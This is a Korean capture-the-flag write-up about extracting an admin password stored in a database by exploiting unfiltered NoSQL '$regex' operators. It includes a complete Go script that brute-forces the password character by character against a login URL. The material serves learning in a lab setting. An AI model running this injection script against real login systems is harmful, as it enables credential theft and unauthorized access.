[문제]
이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제입니다.
플래그는 admin 계정의 비밀번호 입니다.
플래그의 형식은 DH{…} 입니다.
{‘uid’: ‘admin’, ‘upw’: ‘DH{32alphanumeric}’}
[해결법]
- NoSQL 인젝션을 하는 문제
- NoSQL 인젝션에 사용하는 정규표현식을 필터링 하지 않아 쉽게 추출할 수 있었다.
- Go 공부할겸 Go로 짜보았는데 문법이 익숙하지 않아 2시간정도 걸린것 같다;ㅁ;
- Go에서 알파벳, 숫자를 arr로 Converting 해주는 함수를 못 찾아 하드 코딩을 했는데 뭔가 지저분 해졌다.
package main
import (
"fmt"
"io/ioutil"
"net/http"
)
func main() {
var arr = [...]string{"0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}
var password string = ""
n := 0
for n < 32 {
for _, tmparr := range arr {
var url string = "<attackURL>/login?uid[$regex]=^a.&upw[$regex]=.{" + password + tmparr
resp, err := http.Get(url)
if err != nil {
panic(err)
}
defer resp.Body.Close()
data, err := ioutil.ReadAll(resp.Body)
if err != nil {
panic(err)
}
if string(data) == "admin" {
password += tmparr
fmt.Printf(password + "\n")
n += 1
break
}
}
}
}